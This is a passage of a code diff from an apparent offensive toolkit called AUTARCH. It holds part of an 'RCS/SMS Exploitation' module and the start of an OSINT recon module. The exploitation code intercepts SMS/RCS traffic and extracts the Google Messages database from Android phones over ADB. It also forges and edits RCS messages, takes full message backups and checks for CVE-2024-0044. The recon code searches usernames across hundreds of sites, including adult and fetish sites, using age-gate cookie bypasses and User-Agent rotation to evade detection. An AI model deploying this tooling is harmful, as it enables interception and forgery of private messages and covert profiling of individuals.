+ 'total_size': total_size, + }) + return {'ok': True, 'extractions': extractions, 'count': len(extractions)} + + # ══════════════════════════════════════════════════════════════════════ + # §11 SMS/RCS MONITOR + # ══════════════════════════════════════════════════════════════════════ + + def start_sms_monitor(self) -> Dict[str, Any]: + if self._monitor_running: + return {'ok': False, 'error': 'Monitor already running'} + self._monitor_running = True + self._monitor_thread = threading.Thread( + target=self._monitor_loop, daemon=True, name='rcs-monitor', + ) + self._monitor_thread.start() + return {'ok': True, 'message': 'SMS/RCS monitor started'} + + def stop_sms_monitor(self) -> Dict[str, Any]: + self._monitor_running = False + return {'ok': True, 'message': 'Monitor stopping', + 'intercepted': len(self._intercepted)} + + def get_intercepted_messages(self) -> Dict[str, Any]: + with self._intercepted_lock: + msgs = list(self._intercepted) + return {'ok': True, 'messages': msgs, 'count': len(msgs)} + + def clear_intercepted(self) -> Dict[str, Any]: + with self._intercepted_lock: + count = len(self._intercepted) + self._intercepted.clear() + return {'ok': True, 'cleared': count} + + def _monitor_loop(self): + """Background thread: watch logcat for incoming SMS/RCS.""" + adb = self._get_adb() + try: + proc = subprocess.Popen( + f'{adb} shell logcat -s Bugle:V SmsReceiverService:V ' + f'SmsMessage:V RilReceiver:V', + shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, + ) + while self._monitor_running: + line = proc.stdout.readline() + if not line: + break + line = line.strip() + if not line: + continue + # Parse relevant log lines + entry = None + if 'SMS received' in line or 'received SMS' in line.lower(): + entry = {'type': 'sms_received', 'raw': line, 'time': datetime.now().isoformat()} + elif 'RCS' in line and ('received' in line.lower() or 'incoming' in line.lower()): + entry = {'type': 'rcs_received', 'raw': line, 'time': datetime.now().isoformat()} + elif 'SmsMessage' in line: + entry = {'type': 'sms_activity', 'raw': line, 'time': datetime.now().isoformat()} + if entry: + with self._intercepted_lock: + self._intercepted.append(entry) + if len(self._intercepted) > 1000: + self._intercepted = self._intercepted[-500:] + proc.terminate() + except Exception: + pass + finally: + self._monitor_running = False + + def get_forged_log(self) -> List[Dict[str, Any]]: + return list(self._forged_log) + + def clear_forged_log(self) -> Dict[str, Any]: + count = len(self._forged_log) + self._forged_log.clear() + return {'ok': True, 'cleared': count} + + # ══════════════════════════════════════════════════════════════════════ + # §12 ARCHON APP INTEGRATION + # ══════════════════════════════════════════════════════════════════════ + + def archon_query(self, action: str, extras: Optional[Dict[str, str]] = None) -> Dict[str, Any]: + """Send a command to Archon's MessagingModule via ADB broadcast.""" + cmd = f'shell am broadcast -a com.darkhal.archon.{action}' + if extras: + for key, val in extras.items(): + if isinstance(val, int): + cmd += f' --ei {key} {val}' + elif isinstance(val, bool): + cmd += f' --ez {key} {str(val).lower()}' + else: + safe = str(val).replace('"', '\\"') + cmd += f' --es {key} "{safe}"' + cmd += ' com.darkhal.archon' + result = self._run_adb(cmd) + return { + 'ok': 'Broadcast completed' in result, + 'result': result, + } + + def archon_extract_bugle(self) -> Dict[str, Any]: + """Ask Archon to extract bugle_db via Shizuku elevated access.""" + return self.archon_query('EXTRACT_DB', { + 'target_package': 'com.google.android.apps.messaging', + 'database': 'bugle_db', + 'output_dir': '/sdcard/Download/autarch_extract', + }) + + def archon_forge_rcs(self, address: str, body: str, direction: str = 'incoming') -> Dict[str, Any]: + """Ask Archon to insert RCS message directly into bugle_db.""" + return self.archon_query('FORGE_RCS', { + 'address': address, + 'body': body, + 'direction': direction, + 'timestamp': str(self._ts_ms()), + }) + + def archon_modify_rcs(self, msg_id: int, new_body: str) -> Dict[str, Any]: + """Ask Archon to modify an RCS message in bugle_db.""" + return self.archon_query('MODIFY_RCS', { + 'msg_id': msg_id, + 'new_body': new_body, + }) + + def archon_get_rcs_threads(self) -> Dict[str, Any]: + """Get RCS thread list via Archon relay.""" + return self.archon_query('GET_RCS_THREADS') + + def archon_backup_all(self) -> Dict[str, Any]: + """Full backup via Archon (SMS + MMS + RCS + attachments).""" + result = self.archon_query('FULL_BACKUP', { + 'output_dir': '/sdcard/Download/autarch_backup', + 'include_rcs': 'true', + 'include_attachments': 'true', + }) + if result.get('ok'): + # Pull the backup + time.sleep(5) + timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') + local_dir = self._backups_dir / f'archon_backup_{timestamp}' + local_dir.mkdir(parents=True, exist_ok=True) + pull = self._run_adb(f'pull /sdcard/Download/autarch_backup/ {local_dir}/') + result['local_path'] = str(local_dir) + result['pull_result'] = pull + return result + + def archon_set_default_sms(self) -> Dict[str, Any]: + """Set Archon as the default SMS/RCS app (enables full message access).""" + return self.set_default_sms_app('com.darkhal.archon') + + # ══════════════════════════════════════════════════════════════════════ + # §13 PIXEL-SPECIFIC TOOLS + # ══════════════════════════════════════════════════════════════════════ + + def pixel_diagnostics(self) -> Dict[str, Any]: + """Run Pixel-specific RCS diagnostic commands.""" + results = {} + # IMS status + results['ims'] = self._shell('dumpsys telephony_ims')[:3000] + # Carrier config (extract RCS-relevant keys) + cc = self.get_carrier_config() + results['carrier_rcs_config'] = cc.get('rcs_config', {}) + # Phone info + results['phone'] = self._shell('dumpsys phone | head -50') + # Check if Pixel + brand = self._shell('getprop ro.product.brand').lower() + results['is_pixel'] = 'google' in brand + # RCS-specific settings + results['rcs_settings'] = {} + for key in ['rcs_autoconfiguration_enabled', 'rcs_e2ee_enabled', + 'chat_features_enabled']: + val = self._shell(f'settings get global {key}') + if not self._is_error(val): + results['rcs_settings'][key] = val + return {'ok': True, **results} + + def enable_debug_menu(self) -> Dict[str, Any]: + """Instructions and automation for enabling Google Messages debug menu.""" + return { + 'ok': True, + 'instructions': [ + '1. Open Google Messages on the device', + '2. Tap the search bar', + '3. Type: *xyzzy*', + '4. A debug menu will appear in Settings', + '5. Enables: RCS connection state, ACS URL, feature flags, verbose logging', + ], + 'automated_phenotype': 'Use enable_verbose_logging() to enable debug flags via Phenotype', + } + + # ══════════════════════════════════════════════════════════════════════ + # §14 CLI ENTRY POINT + # ══════════════════════════════════════════════════════════════════════ + + def run(self): + """CLI interactive mode.""" + print(f"\n RCS/SMS Exploitation v{VERSION}") + print(" " + "=" * 40) + status = self.get_status() + if status.get('connected'): + dev = status['device'] + print(f" Device: {dev.get('model', '?')} ({dev.get('serial', '?')})") + print(f" Android: {dev.get('android_version', '?')} (patch: {dev.get('security_patch', '?')})") + print(f" SMS App: {dev.get('default_sms_app', '?')}") + shizuku = status.get('shizuku', {}) + print(f" Shizuku: {'running' if shizuku.get('running') else 'not running'}") + archon = status.get('archon', {}) + print(f" Archon: {'installed' if archon.get('installed') else 'not installed'}") + cve = status.get('cve_2024_0044', {}) + if cve.get('vulnerable'): + print(f" CVE-2024-0044: VULNERABLE") + else: + print(" No device connected") + + +def run(): + get_rcs_tools().run() diff --git a/modules/recon.py b/modules/recon.py new file mode 100644 index 0000000..5bc8e02 --- /dev/null +++ b/modules/recon.py @@ -0,0 +1,2191 @@ +""" +AUTARCH Recon Module +Open Source Intelligence (OSINT) gathering + +Domain, IP, email, username, and phone reconnaissance tools. +Integrates with social-analyzer for social media analysis. +Uses unified sites database from sherlock, maigret, and social-analyzer. +""" + +import os +import sys +import subprocess +import socket +import re +import json +import time +import concurrent.futures +import urllib.request +from pathlib import Path +from urllib.parse import urlparse, quote +from typing import List, Dict, Optional, Tuple +from random import randint +from datetime import datetime + +# Module metadata +DESCRIPTION = "OSINT & reconnaissance tools" +AUTHOR = "darkHal" +VERSION = "2.3" +CATEGORY = "osint" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner +from core.sites_db import get_sites_db +from core.report_generator import get_report_generator +from core.config import get_config + + +class Recon: + """OSINT and reconnaissance tools.""" + + def __init__(self): + self.social_analyzer_available = self._check_social_analyzer() + self.sites_db = get_sites_db() + self.config = get_config() + osint_settings = self.config.get_osint_settings() + self.scan_config = { + 'max_sites': 200, + 'include_nsfw': osint_settings['include_nsfw'], + 'categories': None, # None = all categories + 'timeout': osint_settings['timeout'], + 'threads': osint_settings['max_threads'], + } + + def _check_social_analyzer(self) -> bool: + """Check if social-analyzer is installed.""" + try: + result = subprocess.run( + "social-analyzer --help", + shell=True, + capture_output=True, + timeout=5 + ) + return result.returncode == 0 + except: + return False + + def print_status(self, message: str, status: str = "info"): + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def run_cmd(self, cmd: str, timeout: int = 30) -> tuple: + try: + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout) + return result.returncode == 0, result.stdout.strip() + except: + return False, "" + + # ==================== EMAIL OSINT ==================== + + def email_lookup(self): + """Email address OSINT.""" + print(f"\n{Colors.BOLD}Email OSINT{Colors.RESET}") + email = input(f"{Colors.WHITE}Enter email address: {Colors.RESET}").strip() + + if not email or '@' not in email: + self.print_status("Invalid email address", "error") + return + + username, domain = email.split('@') + + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Target: {email}{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + # Email format analysis + print(f"{Colors.CYAN}Email Analysis:{Colors.RESET}") + print(f" Username: {username}") + print(f" Domain: {domain}") + + # Check if domain has MX records + success, output = self.run_cmd(f"dig +short MX {domain}") + if success and output: + print(f" Mail Svr: {output.split()[1] if len(output.split()) > 1 else output}") + else: + print(f" Mail Svr: {Colors.YELLOW}No MX record{Colors.RESET}") + + # Breach check resources + print(f"\n{Colors.CYAN}Breach Check Resources:{Colors.RESET}") + print(f" HaveIBeenPwned: https://haveibeenpwned.com/account/{quote(email)}") + print(f" DeHashed: https://dehashed.com/search?query={quote(email)}") + print(f" IntelX: https://intelx.io/?s={quote(email)}") + + # Email validation + print(f"\n{Colors.CYAN}Email Validation:{Colors.RESET}") + # Check common patterns + disposable_domains = ['tempmail', 'throwaway', 'guerrilla', 'mailinator', '10minute'] + is_disposable = any(d in domain.lower() for d in disposable_domains) + print(f" Disposable: {'Yes' if is_disposable else 'No'}") + + # Gravatar check + import hashlib + email_hash = hashlib.md5(email.lower().encode()).hexdigest() + print(f" Gravatar: https://gravatar.com/avatar/{email_hash}") + + # Related accounts lookup + print(f"\n{Colors.CYAN}Account Search:{Colors.RESET}") + print(f" Google: https://www.google.com/search?q=\"{quote(email)}\"") + print(f" GitHub: https://api.github.com/search/users?q={quote(email)}+in:email") + + def email_permutator(self): + """Generate email permutations.""" + print(f"\n{Colors.BOLD}Email Permutator{Colors.RESET}") + first_name = input(f"{Colors.WHITE}First name: {Colors.RESET}").strip().lower() + last_name = input(f"{Colors.WHITE}Last name: {Colors.RESET}").strip().lower() + domain = input(f"{Colors.WHITE}Domain (e.g., company.com): {Colors.RESET}").strip().lower() + + if not first_name or not last_name or not domain: + return + + # Generate permutations + permutations = [ + f"{first_name}.{last_name}@{domain}", + f"{first_name}{last_name}@{domain}", + f"{last_name}.{first_name}@{domain}", + f"{last_name}{first_name}@{domain}", + f"{first_name[0]}{last_name}@{domain}", + f"{first_name}{last_name[0]}@{domain}", + f"{first_name[0]}.{last_name}@{domain}", + f"{first_name}.{last_name[0]}@{domain}", + f"{last_name}@{domain}", + f"{first_name}@{domain}", + f"{first_name}_{last_name}@{domain}", + f"{first_name}-{last_name}@{domain}", + ] + + print(f"\n{Colors.CYAN}Generated Email Permutations:{Colors.RESET}\n") + for email in permutations: + print(f" {email}") + + # Save option + save = input(f"\n{Colors.WHITE}Save to file? (y/n): {Colors.RESET}").strip().lower() + if save == 'y': + filename = f"{first_name}_{last_name}_emails.txt" + with open(filename, 'w') as f: + f.write('\n'.join(permutations)) + self.print_status(f"Saved to {filename}", "success") + + # ==================== USERNAME OSINT ==================== + + # WAF/Captcha detection - only specific challenge page indicators + WAF_PATTERNS = re.compile( + r'captcha-info|Completing the CAPTCHA|' + r'cf-browser-verification|cf_chl_prog|' + r'ddos protection by|verify you are human|' + r'please turn javascript on|enable cookies to continue', + re.IGNORECASE + ) + + WAF_TITLE_PATTERNS = re.compile( + r'just a moment|attention required|' + r'ddos-guard|security check required', + re.IGNORECASE + ) + + # Detection strings - return "false" means if found, user does NOT exist + # Detection strings - return "true" means if found, user EXISTS + SHARED_DETECTIONS = { + 'mastodon': [ + {'return': False, 'string': "The page you are looking for isn"}, + {'return': True, 'string': 'profile:username'}, + {'return': True, 'string': '/@{username}'}, + ], + 'discourse': [ + {'return': True, 'string': 'og:title'}, + {'return': True, 'string': '"{username}"'}, + ], + 'gitlab': [ + {'return': True, 'string': 'user-profile'}, + ], + 'phpbb': [ + {'return': False, 'string': 'No user'}, + {'return': True, 'string': 'memberlist'}, + ], + 'xenforo': [ + {'return': False, 'string': 'The requested member could not be found'}, + {'return': True, 'string': 'member-header'}, + ], + 'vbulletin': [ + {'return': False, 'string': 'is not a member'}, + {'return': True, 'string': 'profile-header'}, + ], + } + + # Common patterns indicating user does NOT exist (return: false) + # Prioritized by specificity - more specific patterns first + NOT_FOUND_STRINGS = [ + # Very specific "not found" phrases + 'user not found', 'profile not found', 'account not found', + 'member not found', 'page not found', 'no user found', + 'does not exist', 'doesn\'t exist', 'no such user', + 'could not be found', 'cannot be found', 'user doesn\'t exist', + 'the specified member cannot be found', + 'the requested user is not valid', + 'this user is not registered', + 'this username is available', 'username is available', + 'claim this username', 'this name is available', + # Account status + 'user has been deleted', 'account has been suspended', + 'account has been deleted', 'user has been banned', + 'this account has been suspended', 'account is suspended', + 'this profile is no longer available', + # Soft 404 phrases + 'there\'s nothing here', 'this page is no longer available', + 'the page you are looking for isn\'t here', + 'hmm...this page doesn\'t exist', 'oops! page not found', + 'sorry, nobody on reddit goes by that name', + 'something went wrong', 'we couldn\'t find', + # Registration/signup prompts (indicates username available) + 'create an account', 'sign up now', 'register now', + 'join now', 'create your account', + ] + + # Patterns that strongly indicate user EXISTS (return: true) + # These should be profile-specific elements + FOUND_STRINGS = [ + # Profile metadata + 'og:title', 'profile:username', 'og:profile', + # Profile structure indicators + 'user-profile', 'member-header', 'profile-header', + 'profile-info', 'user-info', 'profile-content', + 'profile-card', 'user-card', 'member-card', + # User statistics + 'followers', 'following', 'subscribers', 'friends', + 'member since', 'joined', 'last seen', 'last active', + 'total posts', 'reputation', 'karma', 'cake day', + # Action buttons (only appear on real profiles) + 'send message', 'private message', 'follow user', + 'add friend', 'block user', 'report user', + # Verified indicators + 'verified account', 'verified user', + ] + + # Site-specific detection patterns (like cupidcr4wl's data) + # Format: domain -> {check_text: [...], not_found_text: [...]} + SITE_PATTERNS = { + # Social Media + 'reddit.com': { + 'check_text': ['karma', 'cake day', 'trophy-case'], + 'not_found_text': ['sorry, nobody on reddit goes by that name', 'page not found'], + }, + 'twitter.com': { + 'check_text': ['followers', 'following', 'data-testid="UserName"'], + 'not_found_text': ['this account doesn\'t exist', 'account suspended'], + }, + 'x.com': { + 'check_text': ['followers', 'following', 'data-testid="UserName"'], + 'not_found_text': ['this account doesn\'t exist', 'account suspended'], + }, + 'instagram.com': { + 'check_text': ['followers', 'following', 'edge_owner_to_timeline_media'], + 'not_found_text': ['sorry, this page isn\'t available'], + }, + 'tiktok.com': { + 'check_text': ['followers', 'following', 'likes'], + 'not_found_text': ['couldn\'t find this account'], + }, + 'github.com': { + 'check_text': ['contributions', 'repositories', 'gist-summary'], + 'not_found_text': ['not found'], + }, + 'youtube.com': { + 'check_text': ['subscribers', 'channel-header'], + 'not_found_text': ['this page isn\'t available'], + }, + # Forums + 'forums.': { + 'check_text': ['member since', 'posts:', 'joined:', 'post count'], + 'not_found_text': ['member not found', 'no user', 'user doesn\'t exist'], + }, + # Adult/Cam sites + 'chaturbate.com': { + 'check_text': ['broadcaster_gender', 'room_status', 'bio', 'following'], + 'not_found_text': ['http 404', 'page not found', 'bio page not available'], + }, + 'onlyfans.com': { + 'check_text': ['subscribersCount', '@'], + 'not_found_text': ['sorry, this page is not available'], + }, + 'fansly.com': { + 'check_text': ['followers', 'subscribersCount'], + 'not_found_text': ['not found'], + }, + 'pornhub.com': { + 'check_text': ['subscribers', 'video views', 'profile-info'], + 'not_found_text': ['page not found', '404'], + }, + 'xvideos.com': { + 'check_text': ['subscribers', 'video views'], + 'not_found_text': ['not found'], + }, + 'stripchat.com': { + 'check_text': ['followers', 'bio'], + 'not_found_text': ['not found', 'model not found'], + }, + # Art/Creative + 'deviantart.com': { + 'check_text': ['watchers', 'deviations', 'gallery'], + 'not_found_text': ['this deviant doesn\'t exist'], + }, + 'artstation.com': { + 'check_text': ['followers', 'following', 'likes'], + 'not_found_text': ['not found'], + }, + 'furaffinity.net': { + 'check_text': ['submissions', 'favorites', 'watchers'], + 'not_found_text': ['user not found', 'the user you specified could not be found'], + }, + 'e621.net': { + 'check_text': ['favorites', 'uploads'], + 'not_found_text': ['not found'], + }, + # Gaming + 'twitch.tv': { + 'check_text': ['followers', 'channel-header'], + 'not_found_text': ['sorry, unless you\'ve got a time machine'], + }, + 'steam': { + 'check_text': ['recent activity', 'level'], + 'not_found_text': ['specified profile could not be found'], + }, + # Dating + 'fetlife.com': { + 'check_text': ['role:', 'orientation:', 'looking for:'], + 'not_found_text': ['user not found', 'the page you requested'], + }, + } + + # Tracker/aggregator sites to deprioritize (not the real site) + TRACKER_DOMAINS = [ + 'tracker', 'stats', 'lookup', 'checker', 'finder', 'search', + 'viewer', 'imginn', 'picuki', 'dumpor', 'smihub', 'tumbral', + 'gramho', 'pixwox', 'instastories', 'storiesig', 'insta', + 'webstagram', 'vibbi', 'picbear', 'sometag', 'mulpix', + ] + + # Common false positive URLs to skip + FALSE_POSITIVE_URLS = [ + '/login', '/signin', '/signup', '/register', '/join', + '/404', '/error', '/not-found', '/notfound', + '/search', '/home', '/index', '/welcome', + ] + + # Site-specific cookies for age verification and consent + SITE_COOKIES = { + 'chaturbate.com': 'agreeterms=1; age_verified=1', + 'stripchat.com': 'age_confirmed=true', + 'bongacams.com': 'bonga_age=true', + 'cam4.com': 'age_checked=true', + 'myfreecams.com': 'mfc_age_check=1', + 'camsoda.com': 'age_verified=1', + 'livejasmin.com': 'age_gate=true', + 'pornhub.com': 'age_verified=1; accessAgeDisclaimerPH=1', + 'xvideos.com': 'age_verified=1', + 'xhamster.com': 'age_check=1', + 'xnxx.com': 'age_verified=1', + 'redtube.com': 'age_verified=1', + 'youporn.com': 'age_verified=1', + 'spankbang.com': 'age_verified=1', + 'eporner.com': 'age_verified=1', + 'fapster.xxx': 'age_verified=1', + 'rule34.xxx': 'age_gate=1', + 'e621.net': 'age_check=1', + 'furaffinity.net': 'sfw=0', + 'inkbunny.net': 'age_check=1', + 'hentai-foundry.com': 'age_check=1', + 'f95zone.to': 'xf_logged_in=1', + 'imgsrc.ru': 'lang=en; over18=1', + 'fansly.com': 'age_verified=1', + 'onlyfans.com': 'age_verified=1', + 'fetlife.com': 'age_check=1', + } + + # Random User-Agent rotation to avoid detection + USER_AGENTS = [ + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15', + 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', + ] + + @staticmethod + def validate_username(username: str) -> Tuple[bool, str]: + """Validate username before searching (like Snoop). + + Returns: + Tuple of (is_valid, error_message) + """ + if not username: + return False, "Username cannot be empty" + + if len(username) < 2: + return False, "Username too short (minimum 2 characters)" + + if len(username) > 100: + return False, "Username too long (maximum 100 characters)" + + # Check for obviously invalid characters + invalid_chars = set('<>{}[]|\\^~`') + if any(c in username for c in invalid_chars): + return False, f"Username contains invalid characters: {invalid_chars}" + + # If it looks like an email, extract the username part + if '@' in username and '.' in username.split('@')[-1]: + return True, "email" # Signal this is an email + + return True, "ok" + + def _get_site_patterns(self, domain: str) -> Optional[Dict]: + """Get site-specific detection patterns for a domain.""" + domain_lower = domain.lower() + for pattern_domain, patterns in self.SITE_PATTERNS.items(): + if pattern_domain in domain_lower: + return patterns + return None + + def _check_site(self, site: Dict, username: str, retry: int = 0) -> Optional[Dict]: + """Check if username exists on a site using CupidCr4wl-style detection. + + Detection logic (following CupidCr4wl pattern): + 1. If status 200 + error_string found → NOT FOUND (return None) + 2. If status 200 + match_string found → FOUND (green) + 3. If status 200 + neither matched → POSSIBLE (yellow) + 4. If status == error_code → NOT FOUND (return None) + 5. Response URL redirect detection for response_url/redirection types + """ + try: + # Random delay to avoid rate limiting (like Snoop) + time.sleep(randint(10, 100) / 1000) + + url = site['url'].replace('{}', username) + + # Build request with rotating User-Agent + # NOTE: Don't request gzip encoding - urllib doesn't auto-decompress it + headers = { + 'User-Agent': self.USER_AGENTS[randint(0, len(self.USER_AGENTS) - 1)], + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', + 'Accept-Language': 'en-US,en;q=0.9', + 'Connection': 'keep-alive', + 'Upgrade-Insecure-Requests': '1', + } + if site.get('headers'): + headers.update(site['headers']) + + # Add site-specific cookies for age verification + parsed_url = urlparse(url) + domain = parsed_url.netloc.lower() + for cookie_domain, cookies in self.SITE_COOKIES.items(): + if cookie_domain in domain: + headers['Cookie'] = cookies + break + + req = urllib.request.Request(url, headers=headers) + + # Get detection info from database + error_type = site.get('error_type', 'status_code') + error_code = site.get('error_code') + error_string = site.get('error_string', '').strip() if site.get('error_string') else None + match_code = site.get('match_code') + match_string = site.get('match_string', '').strip() if site.get('match_string') else None + + # Get site-specific patterns + site_patterns = self._get_site_patterns(domain) + + try: + with urllib.request.urlopen(req, timeout=self.scan_config['timeout']) as response: + status_code = response.getcode() + final_url = response.geturl() + resp_headers = {k.lower(): v.lower() for k, v in response.headers.items()} + + raw_content = response.read() + try: + content = raw_content.decode('utf-8', errors='ignore') + except: + content = raw_content.decode('latin-1', errors='ignore') + + content_lower = content.lower() + content_len = len(content) + + # === WAF/Captcha Detection === + is_filtered = False + + # Extract title for analysis + title = '' + title_match = re.search(r']*>([^<]+)', content, re.IGNORECASE) + if title_match: + title = title_match.group(1).strip() + + # Check for Cloudflare challenge page (not just Cloudflare-served sites) + cf_challenge_patterns = [ + 'just a moment', 'checking your browser', 'please wait', + 'ray id', 'cf-browser-verification', 'cf_chl_opt', + 'enable javascript and cookies', 'why do i have to complete a captcha', + ] + if any(p in content_lower for p in cf_challenge_patterns): + is_filtered = True + + # Check for actual WAF block patterns in content + if self.WAF_PATTERNS.search(content): + # Only flag if it's a short page (likely error/block page) + if content_len < 5000: + is_filtered = True + + # Check title for WAF patterns (challenge pages have distinctive titles) + if title and self.WAF_TITLE_PATTERNS.search(title): + # "Just a moment..." is Cloudflare challenge + if 'moment' in title.lower() or 'attention' in title.lower() or 'blocked' in title.lower(): + is_filtered = True + + if is_filtered: + return { + 'name': site['name'], + 'url': url, + 'category': site.get('category', 'other'), + 'status': 'filtered', + 'rate': '0%', + 'title': 'filtered', + } + + # === CupidCr4wl-Style Detection System === + username_lower = username.lower() + + # Collect all not_found and check texts + not_found_texts = [] + check_texts = [] + + # 1. Add database patterns + if error_string: + not_found_texts.append(error_string.lower()) + if match_string: + # Handle {username} placeholder + check_texts.append( + match_string.replace('{username}', username) + .replace('{account}', username).lower() + ) + + # 2. Add site-specific patterns + if site_patterns: + not_found_texts.extend([s.lower() for s in site_patterns.get('not_found_text', [])]) + check_texts.extend([s.lower() for s in site_patterns.get('check_text', [])]) + + # 3. Detection based on error_type + # --- Status code detection --- + if error_type == 'status_code': + if error_code and status_code == error_code: + return None # Expected "not found" status code + if status_code >= 400: + return None # Error status + + # --- Response URL / Redirect detection --- + if error_type in ('response_url', 'redirection'): + # Check if redirected away from profile page + if final_url != url and username_lower not in final_url.lower(): + # Check if redirected to login/error page + final_lower = final_url.lower() + if any(fp in final_lower for fp in self.FALSE_POSITIVE_URLS): + return None + # Redirected to different page - likely not found + if domain not in final_lower: + return None + + # === Pattern Matching (CupidCr4wl style) === + not_found_matched = [] + check_matched = [] + + # Check not_found_texts + for nf_text in not_found_texts: + if nf_text and nf_text in content_lower: + not_found_matched.append(nf_text) + + # Check check_texts + for c_text in check_texts: + if c_text and c_text in content_lower: + check_matched.append(c_text) + + # Fallback: check generic NOT_FOUND_STRINGS if no specific patterns + if not not_found_texts: + for nf_string in self.NOT_FOUND_STRINGS: + if nf_string.lower() in content_lower: + not_found_matched.append(nf_string) + break # One is enough + + # Fallback: check generic FOUND_STRINGS if no specific patterns + if not check_texts: + for f_string in self.FOUND_STRINGS: + check_str = f_string.replace('{username}', username_lower).lower() + if check_str in content_lower: + check_matched.append(f_string) + + # === Determine Result (CupidCr4wl logic) === + # Priority: not_found_text match beats everything + if not_found_matched: + # Not found text was found - user doesn't exist + return None + + # Username presence check + username_in_content = username_lower in content_lower + username_in_title = username_lower in title.lower() if title else False + + # Calculate confidence + found_indicators = len(check_matched) + if username_in_content: + found_indicators += 1 + if username_in_title: + found_indicators += 1 + + # Determine status + if check_matched and (username_in_content or username_in_title): + # check_text matched AND username found → FOUND (green) + status = 'good' + rate = min(100, 60 + (found_indicators * 10)) + elif check_matched: + # check_text matched but username not explicitly found → POSSIBLE (yellow) + status = 'maybe' + rate = 50 + (found_indicators * 10) + elif username_in_content and status_code == 200: + # No patterns matched but username in content with 200 → POSSIBLE + status = 'maybe' + rate = 40 + (found_indicators * 5) + elif status_code == 200 and content_len > 1000: + # Got 200 with substantial content but no matches → LOW confidence + status = 'maybe' + rate = 30 + else: + # Nothing matched + return None + + # === Additional Validation === + + # Very short pages are usually error pages + if content_len < 500 and not check_matched: + if not username_in_content: + return None + + # Check for tracker sites + url_lower = url.lower() + is_tracker = any(t in url_lower for t in self.TRACKER_DOMAINS) + + # Minimum threshold + if rate < 30: + return None + + return { + 'name': site['name'], + 'url': url, + 'category': site.get('category', 'other'), + 'rate': f'{rate}%', + 'status': status, + 'title': title[:100] if title else '', + 'is_tracker': is_tracker, + 'check_matched': len(check_matched), + 'not_found_matched': len(not_found_matched), + 'error_type': error_type, + 'has_pattern': bool(error_string or match_string or site_patterns), + } + + except urllib.error.HTTPError as e: + # Handle HTTP errors using database patterns + if error_code and e.code == error_code: + # Expected "not found" code from database + return None + if e.code == 404: + return None + if e.code in [403, 401]: + return { + 'name': site['name'], + 'url': url, + 'category': site.get('category', 'other'), + 'status': 'restricted', + 'rate': '?', + } + # Retry on 5xx errors + if e.code >= 500 and retry < 2: + time.sleep(1) + return self._check_site(site, username, retry + 1) + return None + + except urllib.error.URLError as e: + # Retry on connection errors + if retry < 2: + time.sleep(1) + return self._check_site(site, username, retry + 1) + return None + + except Exception: + return None + + except Exception: + return None + + return None + + def username_lookup(self): + """Username OSINT across platforms using sites database.""" + print(f"\n{Colors.BOLD}Username OSINT{Colors.RESET}") + + # Show database stats + db_stats = self.sites_db.get_stats() + print(f"{Colors.DIM}Database: {db_stats['total_sites']} sites available{Colors.RESET}\n") + + username = input(f"{Colors.WHITE}Enter username: {Colors.RESET}").strip() + if not username: + return + + # Validate username + is_valid, validation_msg = self.validate_username(username) + if not is_valid: + self.print_status(validation_msg, "error") + return + + # If it's an email, ask if they want to extract username + if validation_msg == "email": + email_username = username.split('@')[0] + use_email_user = input(f"{Colors.WHITE}Detected email. Use '{email_username}' as username? (y/n): {Colors.RESET}").strip().lower() + if use_email_user == 'y': + username = email_username + print(f"{Colors.CYAN}[*] Using username: {username}{Colors.RESET}") + + # Scan type selection + print(f"\n{Colors.CYAN}Scan Type:{Colors.RESET}") + print(f" {Colors.GREEN}[1]{Colors.RESET} Quick scan (top 100 sites)") + print(f" {Colors.GREEN}[2]{Colors.RESET} Standard scan (500 sites)") + print(f" {Colors.GREEN}[3]{Colors.RESET} Full scan (all {db_stats['enabled_sites']} sites)") + print(f" {Colors.GREEN}[4]{Colors.RESET} Custom scan (by category)") + + scan_choice = input(f"\n{Colors.WHITE}Select [1-4]: {Colors.RESET}").strip() + + max_sites = 100 + categories = None + # Use config setting as default + osint_settings = self.config.get_osint_settings() + include_nsfw = osint_settings['include_nsfw'] + + if scan_choice == '2': + max_sites = 500 + elif scan_choice == '3': + max_sites = 99999 # All sites + elif scan_choice == '4': + # Category selection + cats = self.sites_db.get_categories() + print(f"\n{Colors.CYAN}Available Categories:{Colors.RESET}") + for i, (cat, count) in enumerate(cats, 1): + print(f" {Colors.GREEN}[{i}]{Colors.RESET} {cat} ({count} sites)") + + cat_input = input(f"\n{Colors.WHITE}Enter category numbers (comma-separated): {Colors.RESET}").strip() + try: + indices = [int(x.strip()) - 1 for x in cat_input.split(',')] + categories = [cats[i][0] for i in indices if 0 <= i < len(cats)] + except: + categories = None + max_sites = 99999 + + # NSFW option (default from config) + if db_stats['nsfw_sites'] > 0: + default_nsfw = 'y' if include_nsfw else 'n' + nsfw_choice = input(f"{Colors.WHITE}Include NSFW sites? (y/n) [{Colors.GREEN if include_nsfw else Colors.DIM}{default_nsfw}{Colors.WHITE}]: {Colors.RESET}").strip().lower() + if nsfw_choice: # Only change if user provided input + include_nsfw = nsfw_choice == 